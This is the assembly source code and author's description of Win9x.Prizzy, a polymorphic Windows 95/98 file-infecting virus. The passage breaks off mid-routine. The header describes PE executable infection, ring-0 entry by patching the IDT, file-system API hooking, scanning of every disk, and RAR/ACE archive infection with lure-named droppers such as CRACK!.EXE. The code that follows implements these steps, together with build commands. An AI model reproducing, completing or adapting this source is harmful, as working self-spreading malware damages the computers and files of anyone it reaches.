; ; ÚÄÄÍÍÍÍÍÍÍÍÄÄÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ÄÄÍÍÍÍÍÍÍÍÄÄ¿ ; : Prizzy/29A : Win9x.Prizzy : Prizzy/29A : ; ÀÄÄÍÍÍÍÍÍÍÍÄÄÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÄÍÍÍÍÍÍÍÍÄÄÙ ; ; made in the Czech Republic ; ; I am very proud on my very first virus at Windows 95/98 platform. It ; infects EXE files in a format of PE (Portable Executable) for operation ; system Windows 95/98. And also Win9x.Prizzy is a virus-worm for RAR/ACE ; archives - how cleanly RAR/ACE so it infects in a format of SFX-EXE. ; ; When infected PE file is started, the virus receives management and ; polymorphic decoder (Prizzy Polymorphic Engine - PPE) decipher the base ; code of a virus. This PPE can generate a lot of garbages and for decod- ; ing uses MMX and Coprocessor instructions like next registers of CPU. ; ; When the PPE finished, the virus calls the routine to get the original ; base address of KERNEL32.DLL. Then virus searches for GetProcAddressA ; in the import table. This API function it uses to get GetDriveTypeA ; address - which Win9x.Prizzy uses by hyper-infection (see below). ; ; To resident, it patches the IDT, it isn't protected in Windows 95/98, ; modifies the INT 3 vector to point code into the virus, and execute ; this interrupt. As the code is executed in ring0, the virus alloc ; memory (IFSMgr_GetMem) and hooks (IFSMgr_InstallFileSystemApiHook) for ; works with files. Because the author discovered IFS errors, Prizzy can ; hooks only opened files (read more below). ; ; ; New technics in the VX scene ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; Prizzy Polymorphic Engine (PPE) ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; I'm very proud on my very good polymorphic engine because as the first ; virus it can generate decoding decoding loop in MMX and Coprocessor ; instructions. I would like to remind decoder couldn't supports MMX and ; copro instructions at one bout (because MMX has been built on copro). ; ; What instructions I can generate: ; * 149 type of base-instructions (37 from GriYo/29A, thanks) ; * 43 type of copro-instructions ; * 46 type of MMX-instructions ; ; But no every computer, where is Windows 95/98, do not need be CPU with ; MMX technology. So, I use CPUID instruction to get result. But this in- ; struction CPU supports on 486+, if it isn't supports the PPE use only ; coprocessor. ; ; I can generate some more difficult garbage, as are instructions ; CMPS/LODS/STOS/SCAS/MOVS (and set their regz), CALL/JMP reg32, or iluzo ; return (find "g_iluzo_return:" for more infoz - this garbage simulate ; the end of decoding - jump to non-decoded virus body), or the garbage ; which simulate decoding compare (find "g_compare:" for more infoz). ; ; Some beastly doing functions are termed as "sado-maso function" as are: ; * reg + garbage + dec reg + jnz reg ; * encryption a destination value ; * putting CPUID and MMX test to poly-decode loop ; and so on... ; ; For many infoz find "ppe_startup:" and "__no_flags_1:" in this file. ; ; ; Hyper infection ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; By this function Win9x.Prizzy can infect all files on disks at very ; little time. To Prizzy gots type of drive (if it isn't CD-ROM, RAM-DISK ; NETWORK, FLOPPY...) must it uses GetDriveTypeA API function. Then every ; three second is active "init_search:" which scans all EXE files on ; disks and then Prizzy infect them. But Prizzy must give time to other ; Windows application, infection NEVER takes more then one second. Do you ; think it's little ? No, it isn't, I did some tests :). This code was ; designed to it could serves in other viruses which you will write. ; ; ; Infection ACE/RAR and ACE/RAR EXE-SFX (DOS, Win 95/98) archivez ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; I am very glad Win9x.Prizzy is the first virus which infects ACE/RAR ; archives as cleanly ACE/RAR format so RAR-SFX/ACE-SFX (German/English ; version). And because in EXE-PE can be saved comment and many infoz, my ; RAR/ACE infector searches a piece of code to find the archive's header. ; Then it checks VolumeNumber value if it isn't C00 (ACE) or R00 (RAR), ; it checks TimeDate if is divided by 85, if not, Prizzy writes on the ; end of archive any infected file (which it is infected and with the ; smallest size), add new FileHeader and calculate CRC32 for header and ; for reserved file-dropper. Dropper's name is selected from these titles ; INSTALL, SETUP, RUN, SOUND, CONFIG, HELP, GRATIS, CRACK and README. To ; that generated title is add + EXE and to last of the 3rd titles can ; generate '!' char as is (!GRATIS.EXE or CRACK!.EXE etc.). ; ; ; Greetings ; ÄÄÄÄÄÄÄÄÄÄÄ ; ; And finnaly the greatings go to: ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; GriYo/29A ........ I understood principle of poly-tables thank you :) ; Darkman/29A ...... thx for contact 29A, correct my english, thanks ; Z0mbie/29A ....... for IDT orientation - btw, he never answered me :) ; Sexy/29A ......... your Sexy has too bugs, I'd to do anti-sexy, know y? ; Lucciana, Melon .. thanks for correct my spanish learning by you ; ; ; Compiling it ; ÄÄÄÄÄÄÄÄÄÄÄÄ ; tasm32 -ml -m5 -q -zn prizzy.asm ; tlink32 -Tpe -c -x -aa prizzy,,, import32 ; pewrsec prizzy.exe ; ; .386p .model flat,STDCALL include Include\MZ.inc include Include\PE.inc include Include\Win32API.inc include Include\Hiew_VMM.inc include Include\Useful.inc extrn MessageBoxA:proc extrn ExitProcess:proc ;ÄÄÄ´ some equ's needed by virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;DEBUG equ YEZ ;only for debug and 1st start mem_size equ (mem_end-virus_start) ;size of virus in memory file_size equ (file_end-virus_start) ;size of virus in file IFDEF DEBUG infect_minsize equ 4096 ;my test-PE file has 4096b ELSE infect_minsize equ 16384 ;only filez bigger then 16K ENDIF infect_maxsize equ 100*1024*1024 ;to 100Mb access_ebx equ (dword ptr 16) ;access into stack when access_edx equ (dword ptr 20) ;will be use pushad access_ecx equ (dword ptr 24) access_eax equ (dword ptr 28) search_mem_size equ 100*(size dta+size search_address) ;ÄÄÄ´ some structurez for virus ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ifs_onstack struc dd ? ;saved ebp dd ? ;return address dd ? ;the address of the FSD function that is to be called for this API _function dd ? ;the function that is being performed _drive dd ? ;the 1-based drive the operation is being performed on (-1 if UNC) dd ? ;the kind of resource the operation is being performed on _codepage dd ? ;the codepage that the user string was passeed in on _ioreq_ptr dd ? ;pointer to IOREQ structure ends dta_struc struc ;dta struc for FindFile dta_fileattr dd ? dta_time_creation dq ? dta_time_lastaccess dq ? dta_time_lastwrite dq ? dta_filesize_hi dd ? dta_filesize dd ? dta_reserved_0 dd ? dta_reserved_1 dd ? dta_filename db 260 dup (?) dta_filename_short db 14 dup (?) ends ;ÄÄÄ´ some equ's from IFS.INC ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ R0_OPENCREATFILE equ 0D500h ;Open/Create a file R0_READFILE equ 0D600h ;Read a file, no context R0_WRITEFILE equ 0D601h ;Write to a file R0_CLOSEFILE equ 0D700h ;Close a file R0_GETFILESIZE equ 0D800h ;Get size of a file R0_FINDFIRSTFILE equ 04E00h ;Do a LFN FindFirst operation R0_FINDNEXTFILE equ 04F00h ;Do a LFN FindNext operation R0_FINDCLOSEFILE equ 0DC00h ;Do a LFN FindClose operation R0_FILEATTRIBUTES equ 04300h ;Get/Set Attributes of a file GET_ATTRIBUTES equ 00h SET_ATTRIBUTES equ 01h IFSFN_OPEN equ 36 IFSFN_RENAME equ 37 ;this ain't use here 'cause IFSFN_FILEATTRIB equ 33 ;they has got bad values !! ;ÄÄÄ´ some useful macroz ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ get_base macro reg ;get address where we're call $+5 pop reg sub reg,$-1-virus_start endm VxDCall macro service ;standard VxD call rutinue db 0CDh db 020h dd service endm VMMCall macro service ;VxD call like VMM VxDCall VMM_&service& endm ;ÄÄÄ´ prepare to virus start ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ .data db ? .code ;ÄÄÄ´ virus code starts here ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ virus_start: get_base ebp ;get entry point to ebp mov eax,ebp db 2Dh ;sub eax,infected_ep infected_ep: dd 00000000 db 05h ;add eax,original_ep original_ep: dd 00000000 xchg eax,ebx cmp [esp].byte ptr 3,0BFh jnz jump_host ;jump if WinNT call find_kernel32 ;find kernel's base address call get_disks ;search fixed, cd-rom, etc lea eax,[ebp+my_idt-virus_start] push edi ;save sidt fword ptr [esp-2] ;Interrupt Descriptor Table pop edi ;(IDT) to EDI add edi,8*3 ;it'll be int #3 mov ecx,[edi] ;save int #3 IDT mov [ebp+last_idt-virus_start],ecx mov ecx,[edi+04h] mov [ebp+last_idt+04h-virus_start],ecx stosw scasw mov ah,0EEh ;flags of descriptor mov [edi],eax push es ;if you wanna see IDT struc push ds ;visit >z0mbie2.asm< for more push gs ;informations push fs int 3 ;go to ring-0 !! cli pop fs ;make SoftICE well... pop gs ;this was fucking bug ! pop ds pop es sti jump_host: push ebx mov eax,ebx ;do all appz well... ret __iluzo_return_1: ;find "g_iluzo_return" text ret ;in this file for more infoz ;ÄÄÄ´ new int #3 function ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ my_idt: pusha ;save all regz and flagz pushf mov ebx,[ebp+last_idt-virus_start] mov [edi-4],ebx ;restore int3 descriptor form mov ebx,[ebp+last_idt+04h-virus_start] mov [edi],ebx xchg al,[edi] ;this byte should be zero scasb ;is there zero or not ? jz my_idt_out ;it's already resident push mem_size ;size of this virus in memory VxDCall IFSMGR_GetHeap ;alloc memory pop ecx ;get dword from stack to ecx sub ecx,mem_size - file_size mov edi,eax ;edi=new destination push edi ;save it mov esi,ebp ;source of virus body cld rep movsb ;copy virus pop edi lea eax,[edi+api_hook-virus_start] ;hook API function push eax VxDCall IFSMGR_InstallFileSystemApiHook add esp,4 ;put last EAX from stack ;instead check result mov [edi+api_hook_prev-virus_start],eax ;prev API hook mov dword ptr [edi+Archive_Filename_Sz-virus_start],00000000h mov byte ptr [edi+search_start-virus_start],00h mov byte ptr [edi+search_finished-virus_start],00h my_idt_out: popf popa iret __iluzo_return_2: ;find "g_iluzo_return" text ret ;in this file for more infoz ;ÄÄÄ´ hook API functionz ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ api_hook: push ebp ;C calls rules mov ebp,esp sub esp,100h pusha get_base ebx ;get address to ebx cmp byte ptr [ebx+in_ifs-virus_start],0 jnz api_hook_quit inc byte ptr [ebx+in_ifs-virus_start] ;*** active my hyper infection ? cmp byte ptr [ebx+search_finished-virus_start],0 jnz api_hook_next push ebx ;every three second run xor ax,ax ;my hyper infection; I must out 70h,al ;get time other appz in al,71h mov bl,3 ;every three second... div bl pop ebx or ah,ah ;divided by three ? jnz api_hook_next call init_search ;hyper infication ! api_hook_next: cmp dword ptr [ebp]._function,IFSFN_OPEN jnz api_hook_exit api_hook_action: lea edi,[ebx+filename-virus_start] ;edi = filename buffer mov [ebx+filename_ptr-virus_start],edi cld mov eax,[ebp]._drive ;drive cmp al,-1 jz api_hook_exit or al,al jz api_hook_exit add al,'A'-1 ;convert to letter cmp al,'A' jl api_hook_exit cmp al,'Z' jg api_hook_exit stosb ;drive letter first mov al,':' stosb mov eax,[ebp]._codepage ;BCS_WANSI/BCS_OEM push eax push filename_size-1 ;max name length mov eax,[ebp]._ioreq_ptr+8 mov eax,[eax]+0Ch ;filename add ax,4 push eax ;uni-str push edi ;output-str VxDCall IFSMGR_UniToBCSPath add esp,4*4 ;remove from stack mov byte ptr [edi+eax],0 ;ASCIIZ call infect_file api_hook_exit: mov byte ptr [ebx+in_ifs-virus_start],0 api_hook_quit: popa push dword ptr [ebp+1Ch] ;prepare to jump back push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+08h] db 0b8h api_hook_prev: dd 12345678h call [eax] ;go to last API func. api_hook_finish: add esp,6*4 leave ;SP<-BP, POP BP ret ;jump back ! __iluzo_return_3: ;find "g_iluzo_return" text ret ;in this file for more infoz ;ÄÄÄ´ main function for infect file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect_file: pusha get_base ebx mov edi,[ebx+filename_ptr-virus_start] IFDEF DEBUG cmp [edi],'X\:D' ;infect files only in my jnz infect_file_exit ;special directory ENDIF cld mov al,'.' ;search this char mov cx,filename_size ;max filename_size repnz scasb ;searching... dec edi ;set to that char cmp al,[edi] ;check again ! jnz infect_file_exit ;shit, bad last char IFDEF DEBUG mov eax,[edi-4] ;you can infect only cmp eax,'DCBA' ;this file on my disk jnz infect_file_exit ;i won't risk ENDIF int 4 ;my S-ICE breakpoint get_base ebp ;where we're to ebp mov ecx,1+2+4+32 ;attrib mov edx,[ebp+filename_ptr-virus_start] lea esi,[ebp+dta-virus_start] call ffindfirst ;get dta structure jc infect_file_exit call ffindclose mov eax,[edi] ;get ext of file cmp eax,'EXE.' ;is it EXE file ? jnz next_ext_1 call infect_ACE_RAR ;is it ACE/RAR EXE-SFX file ? jnc infect_file_exit jmp next_ext_end next_ext_1: cmp eax,'ECA.' ;is it ACE archive file ? jnz next_ext_2 call infect_ACE_RAR jmp infect_file_exit next_ext_2: cmp eax,'RAR.' ;is it RAR archive file ? jnz infect_file_exit call infect_ACE_RAR jmp infect_file_exit next_ext_end: mov eax,[ebp+dta.dta_filesize-virus_start] cmp eax,infect_minsize ;is filesize smaller ? jb infect_file_exit cmp eax,infect_maxsize ;is filesize bigger ? ja infect_file_exit mov edx,[ebp+filename_ptr-virus_start] mov ecx,32 ;set attribs call fsetattr jc infect_file_exit mov edx,[ebp+filename_ptr-virus_start] call fopen ;open file ! jc infect_file_restattr mov [ebp+file_handle-virus_start],eax lea edx,[ebp+mz_header-virus_start] mov ecx,IMAGE_SIZEOF_DOS_HEADER mov ebx,[ebp+file_handle-virus_start] xor esi,esi ;file pos call fread ;read msdos header jc infect_file_close mov ax,[ebp+mz_header.MZ_magic-virus_start] cmp ax,IMAGE_DOS_SIGNATURE ;test 'MZ' jnz infect_file_close mov ax,[ebp+mz_header.MZ_crlc-virus_start] or ax,ax ;no PE ? jz __okay mov ax,[ebp+mz_header.MZ_lfarlc-virus_start] cmp ax,40h ;bad PE ? jb infect_file_close __okay: mov esi,[ebp+mz_header.MZ_lfanew-virus_start] lea edx,[ebp+pe_signature-virus_start] mov ecx,IMAGE_SIZEOF_FILE_HEADER + \ IMAGE_SIZEOF_NT_OPTIONAL_HEADER + \ 00000004h ;size of PE to read mov ebx,[ebp+file_handle-virus_start] call fread jc infect_file_close add esi,ecx ;esi=1st section cmp dword ptr [ebp+pe_signature-virus_start], \ IMAGE_NT_SIGNATURE jnz infect_file_close ;is it really 'PE\0\0' ? mov eax,dword ptr [ebp+pe_header + \ FH_TimeDateStamp-virus_start] xor edx,edx mov ecx,85 div ecx ;infected ? or edx,edx jz infect_file_close mov ax,[ebp+pe_header.FH_Characteristics-virus_start] test ax,IMAGE_FILE_EXECUTABLE_IMAGE jz infect_file_close test ax,IMAGE_FILE_DLL ;no DLL ? jnz infect_file_close movzx ecx,word ptr [ebp+pe_header + \ FH_NumberOfSections-virus_start] dec ecx mov eax,IMAGE_SIZEOF_SECTION_HEADER mul ecx ;eax=offs of last section add esi,eax ;esi=offs of l.s. in file mov [ebp+pe_actsection-virus_start],esi lea edx,[ebp+pe_section-virus_start] mov ecx,IMAGE_SIZEOF_SECTION_HEADER mov ebx,[ebp+file_handle-virus_start] call fread ;read last section jc infect_file_close mov eax,dword ptr [ebp+pe_section+SH_Characteristics-virus_start] test eax,IMAGE_SCN_CNT_CODE or \ IMAGE_SCN_MEM_EXECUTE or \ IMAGE_SCN_MEM_READ jz infect_file_close ;has l.s. these flags ? ; alloc memory for polymorphic engine mov eax,file_size + 2000h call malloc mov [ebp+mem_address-virus_start],eax add eax,file_size mov [ebp+poly_start-virus_start],eax mov eax,dword ptr [ebp+pe_optional + \ OH_AddressOfEntryPoint-virus_start] mov dword ptr [ebp+original_ep-virus_start],eax ;save old entry-point mov eax,[ebp+dta.dta_filesize-virus_start] add eax,dword ptr [ebp+pe_section + \ ;new SH_VirtualAddress SH_VirtualAddress-virus_start] sub eax,dword ptr [ebp+pe_section + \ ;new SH_PointerToRawData SH_PointerToRawData-virus_start] mov [ebp+infected_ep-virus_start],eax ;RVA of virus code add eax,file_size mov dword ptr [ebp+pe_optional + \ OH_AddressOfEntryPoint-virus_start],eax ;New entry-point ; run Prizzy Polymophic Engine (PPE) call ppe_startup mov esi,[ebp+dta.dta_filesize-virus_start] add esi,[ebp+poly_finish-virus_start] ;eax=size of virus in file add dword ptr [ebp+pe_section + \ ;new SH_SizeOfRawData SH_SizeOfRawData-virus_start],esi add dword ptr [ebp+pe_optional + \ ;new OH_SizeOfImage OH_SizeOfImage-virus_start],esi lea edx,[esi+mem_size-file_size] add dword ptr [ebp+pe_section + \ ;new SH_VirtualSize SH_VirtualSize-virus_start],edx or dword ptr [ebp+pe_section + \ ;set these flags SH_Characteristics-virus_start], \ IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or \ IMAGE_SCN_MEM_WRITE mov eax,03030302h ;special number call ppe_get_rnd_range inc eax ;it can't be zero imul eax,85 ;encrypt one mov dword ptr [ebp+pe_header + \ FH_TimeDateStamp-virus_start],eax mov esi,[ebp+dta.dta_filesize-virus_start] mov edx,[ebp+mem_address-virus_start] mov ecx,[ebp+poly_finish-virus_start] mov ebx,[ebp+file_handle-virus_start] call fwrite ;write it ; dealloc memory for PPE mov eax,[ebp+mem_address-virus_start] call mdealloc mov esi,[ebp+pe_actsection-virus_start] lea edx,[ebp+pe_section-virus_start] mov ecx,IMAGE_SIZEOF_SECTION_HEADER mov ebx,[ebp+file_handle-virus_start] call fwrite ;write section into PE mov esi,[ebp+mz_header.MZ_lfanew-virus_start] lea edx,[ebp+pe_signature-virus_start] mov ecx,IMAGE_SIZEOF_FILE_HEADER + \ IMAGE_SIZEOF_NT_OPTIONAL_HEADER + \ 00000004h mov ebx,[ebp+file_handle-virus_start] call fwrite ;write PE header mov eax,[ebp+dta.dta_filesize-virus_start] cmp dword ptr [ebp+Archive_Filename_Sz-virus_start],0 jnz __Archive_Update_2 __Archive_Update: cmp eax,150000 ja infect_file_close mov esi,[ebp+filename_ptr-virus_start] lea edi,[ebp+Archive_Filename-virus_start] mov ecx,filename_size cld rep movsb mov eax,[ebp+dta.dta_filesize-virus_start] mov [ebp+Archive_Filename_Sz-virus_start],eax jmp infect_file_close __Archive_Update_2: mov eax,[ebp+dta.dta_filesize-virus_start] cmp [ebp+Archive_Filename_Sz-virus_start],eax jb __Archive_Update infect_file_close: mov ebx,[ebp+file_handle-virus_start] call fclose infect_file_restattr: mov edx,[ebp+filename_ptr-virus_start] mov ecx,[ebp+dta.dta_fileattr-virus_start] call fsetattr infect_file_exit: popa ret __iluzo_return_4: ;find "g_iluzo_return" text ret ;in this file for more infoz ;ÄÄÄ´ main function of infect all filez on disks ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ init_search: pusha get_base ebp ;where we're into ebp cmp byte ptr [ebp+search_start-virus_start],00h jnz __continue mov byte ptr [ebp+search_start-virus_start],01h xor al,al out 70h,al in al,71h mov bl,al ;actual sec to bl push search_mem_size ;size of mem for searching VxDCall IFSMGR_GetHeap pop ecx or eax,eax ;were we sucessful ? jz init_search_error mov [ebp+search_address-virus_start],eax mov eax,005C3A43h ;'C:\\0' mov [ebp+search_filename-virus_start],eax __searching: mov byte ptr [ebp+search_plunge-virus_start],00h jmp search_all_dirs __searching_end: cmp byte ptr [ebp+search_filename-virus_start],'Z' jz init_search_done inc byte ptr [ebp+search_filename-virus_start] mov word ptr [ebp+search_filename-virus_start+2],005Ch ; what disk is it ? fixed ? cd-rom ? ram-disk ? etc. ? mov cl,'A' sub cl,[ebp+search_filename-virus_start] neg cl mov eax,00000001h shl eax,cl ;convert to BCD test [ebp+gdt_flags-virus_start],eax jnz __searching ;may I "use" this disk ? jmp __searching_end ;uaaaaah, i'm crazy... :) init_search_exit: push dword ptr [ebp+search_address-virus_start] VxDCall IFSMGR_RetHeap ;deallocate memory pop ecx init_search_error: popa ;restore all regz ret init_search_done: ;all disks infected? mov byte ptr [ebp+search_finished-virus_start],01h jmp init_search_exit __iluzo_return_5: ;find "g_iluzo_return" text ret ;in this file for more infoz search_all_dirs: call __get_last_char ;pointer of l.c. to edi mov [edi],58452E2Ah ;'*.EX' mov word ptr [edi+4],0045h ;'\0E' call __calc_in_mem ;offs dta in mem to esi lea edx,[ebp+search_filename-virus_start] mov ecx,1+2+4+32 ;set attribs call ffindfirst mov [esi-size search_handle],eax ;save handle jc __find_dir ;error ? __repeat: call __clean ;delete '*.EXE' push esi lea esi,[esi].dta_filename ;and add file name __r2:lodsb stosb or al,al ;copy with zero char jnz __r2 pop esi ;restore esi=dta in memory lea edx,[ebp+search_filename-virus_start] mov [ebp+filename_ptr-virus_start],edx call infect_file ;infect it ! haha huahaha... xor al,al ;give time other appz out 70h,al in al,71h cmp bl,al ;Warning! BL was fill above! jnz init_search_error ;EBX isn't anywhere modify ! __continue: call __calc_in_mem ;esi=dta in memory mov eax,[esi-size search_handle] ;handle of FindFirstFile call ffindnext jnc __repeat call ffindclose __find_dir: call __clean ;remove file name mov [edi],002A2E2Ah ;add '*.*',0 call __calc_in_mem lea edx,[ebp+search_filename-virus_start] mov ecx,10h ;set attribs call ffindfirst ;search directory "only" mov [esi-size search_handle],eax jc __search_exit __find_in_dir: test [esi].dta_fileattr,10h ;is it directory ? jz __find_next cmp [esi].dta_filename,'.' ;it can't be directory jz __find_next inc byte ptr [ebp+search_plunge-virus_start] call __get_last_char ;edi=last char of filename lea esi,[esi].dta_filename ;esi=filename call __clean ;remove '*.EXE' __copy: lodsb ;copy directory name and stosb ;set '\' at the end or al,al jnz __copy mov word ptr [edi-1],005Ch ;'\\0' jmp search_all_dirs ;search in new directory __find_next: call __calc_in_mem mov eax,[esi-size search_handle] call ffindnext jnc __find_in_dir __search_exit: call __clean ;remove file name and '\' mov byte ptr [edi-1],0 ;it's out of directory dec byte ptr [ebp+search_plunge-virus_start] cmp byte ptr [ebp+search_filename-virus_start+2],0 jz __searching_end jmp __find_next __calc_in_mem: ;get pointer to dta in memory movzx esi,byte ptr [ebp+search_plunge-virus_start] imul esi,size dta+size search_handle add esi,[ebp+search_address-virus_start] add esi,size search_handle ret __get_last_char: ;edi=last char+1 in filename lea edi,[ebp+search_filename-virus_start] mov ecx,filename_size xor al,al cld repnz scasb dec edi ret __clean: ;clean last item in filename lea edx,[ebp+search_filename-virus_start] call __get_last_char __2:mov byte ptr [edi],0 dec edi cmp byte ptr [edi],'\' jnz __2 inc edi ret __iluzo_return_6: ;find "g_iluzo_return" text ret ;in this file for more infoz ;ÄÄÄ´ infection in ACE/RAR and ACE/RAR EXE-SFX archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ We Already Know ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; ; þ ACE/RAR archive certainly exists ; þ in _filename_ has his name ; þ dta is full ; archive_header_first dd ? archive_read_length dd ? errors dw ? ; ; 0.bit ... fail this function definitived (once for all) ; 1.bit ... allocate buffer for search Archive Magic (Archive_Buffer) ; 2.bit ... set attribs of file (filename_ptr) ; 3.bit ... allocate memory for header ; 4.bit ... open file (file_handle = filename_ptr) ; 5.bit ... open file (dropper_handle = archive_filename) ; 6.bit ... allocate dropper_memory (loaded dropper file) ; infect_ACE_RAR: mov word ptr [ebp+errors-virus_start],0 or word ptr [ebp+errors-virus_start],Archive_Err mov edx,[ebp+filename_ptr-virus_start] mov ecx,32 ;set attribs call fsetattr jc exit_now or word ptr [ebp+errors-virus_start],100b call prepare_file ;eax=CRC32, edi=filepos, ebx=ACE_Archive or RAR_Archive jz exit_now and word ptr [ebp+errors-virus_start],1111111111111110b cmp ebx,RAR_Archive ;is it really ACE or RAR ? jz infect_RAR ;jump if RAR or EXE-SFX RAR mov [ebp+ACEf_CRC32-virus_start],eax call __ar_load_header test word ptr [edx+ACEh_HeadFlags-ACE_header_start],2048 jnz exit_now ;mult. volume ? movzx edi,word ptr [edx+ACEh_HeadSize-ACE_header_start] add edi,4 ;add head.crc and head.size add edi,edx ;absolute start in memory mov ebx,edi ;save it lea esi,[edi+ACEf_TimeDate-ACE_file_start] call __ar_is_infected jc exit_now mov esi,edi movzx edi,word ptr [esi+ACEf_HeadSize-ACE_file_start] add esi,4 call generate_CRC32 mov [ebx+ACEf_HeadCRC-ACE_file_start],ax mov edx,[ebp+archive_header_first-virus_start] ;What We Wanna Write (4xW) mov esi,[ebp+header_filepos-virus_start] mov ebx,[ebp+file_handle-virus_start] mov ecx,[ebp+archive_read_length-virus_start] call fwrite ;write ACE header lea edi,[ebp+ACEf_Filename-virus_start] call generate_name ;name of dropper mov word ptr [ebp+ACEf_FilenameSize-virus_start],ax mov bx,ACE_without_filename add bx,ax mov word ptr [ebp+ACEf_HeadSize-virus_start],bx mov eax,[ebp+dropper_size-virus_start] mov [ebp+ACEf_CompressedSize-virus_start],eax mov [ebp+ACEf_UnCompressedSize-virus_start],eax movzx edi,word ptr [ebp+ACEf_FilenameSize-virus_start] add edi,ACEf_Filename - ACEf_HeadType lea esi,[ebp+ACEf_HeadType-virus_start] call generate_CRC32 mov word ptr [ebp+ACEf_HeadCRC-virus_start],ax mov esi,[ebp+dta.dta_filesize-virus_start] lea edx,[ebp+ACEf_HeadCRC-virus_start] ;start of ACE file header movzx ecx,word ptr [ebp+ACEf_FilenameSize-virus_start] add ecx,ACE_file_length ;size of ACE file header mov ebx,[ebp+file_handle-virus_start] call fwrite ;write ACE file header jc exit_now add esi,ecx mov edx,[ebp+dropper_memory-virus_start] mov ecx,[ebp+dropper_size-virus_start] mov ebx,[ebp+file_handle-virus_start] call fwrite exit_now: exit_now_6: bt word ptr [ebp+errors-virus_start],6 jnc exit_now_5 mov eax,[ebp+dropper_memory-virus_start] call mdealloc exit_now_5: bt word ptr [ebp+errors-virus_start],5 jnc exit_now_4 mov ebx,[ebp+dropper_handle-virus_start] call fclose exit_now_4: bt word ptr [ebp+errors-virus_start],4 jnc exit_now_3 mov ebx,[ebp+file_handle-virus_start] call fclose exit_now_3: bt word ptr [ebp+errors-virus_start],3 jnc exit_now_2 mov eax,[ebp+archive_header_first-virus_start] call mdealloc exit_now_2: bt word ptr [ebp+errors-virus_start],2 jnc exit_now_1 mov edx,[ebp+filename_ptr-virus_start] mov ecx,[ebp+dta.dta_fileattr-virus_start] call fsetattr ;restore attribs exit_now_1: bt word ptr [ebp+errors-virus_start],1 jnc exit_now_0 mov eax,[ebp+Archive_Buffer-virus_start] call mdealloc exit_now_0: bt word ptr [ebp+errors-virus_start],0 ret __iluzo_return_7: ;find "g_iluzo_return" text ret ;in this file for more infoz ;ÄÄÄ´ infection in RAR archivez ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; input: eax=dropper file CRC ; ebx=RAR_Archive ; edi=filepos of header in file ; infect_RAR: mov [ebp+RAR_FileCRC-virus_start],eax call __ar_load_header test word ptr [edx+RAR_FileFlags-RAR_header_start+RAR_MagicSize],1 jnz exit_now ;mult. volume ? movzx edi,word ptr [edx+RAR_HeaderSize-RAR_header_start+RAR_MagicSize] add edi,RAR_MagicSize add edi,edx ;absolute start in memory mov ebx,edi ;save it lea esi,[edi+RAR_TimeDate-RAR_header_start] call __ar_is_infected jc exit_now mov esi,edi movzx edi,word ptr [esi+RAR_HeaderSize-RAR_header_start] add esi,2 sub edi,2 call generate_CRC32 mov [ebx+RAR_HeaderCRC-RAR_header_start],ax mov edx,[ebp+archive_header_first-virus_start] mov esi,[ebp+header_filepos-virus_start] mov ebx,[ebp+file_handle-virus_start] mov ecx,[ebp+archive_read_length-virus_start] call fwrite ;write RAR header lea edi,[ebp+RAR_Filename-virus_start] call generate_name ;name of dropper mov word ptr [ebp+RAR_FilenameSize-virus_start],ax mov bx,RAR_file_length add bx,ax mov word ptr [ebp+RAR_HeaderSize-virus_start],bx mov eax,[ebp+dropper_size-virus_start] mov 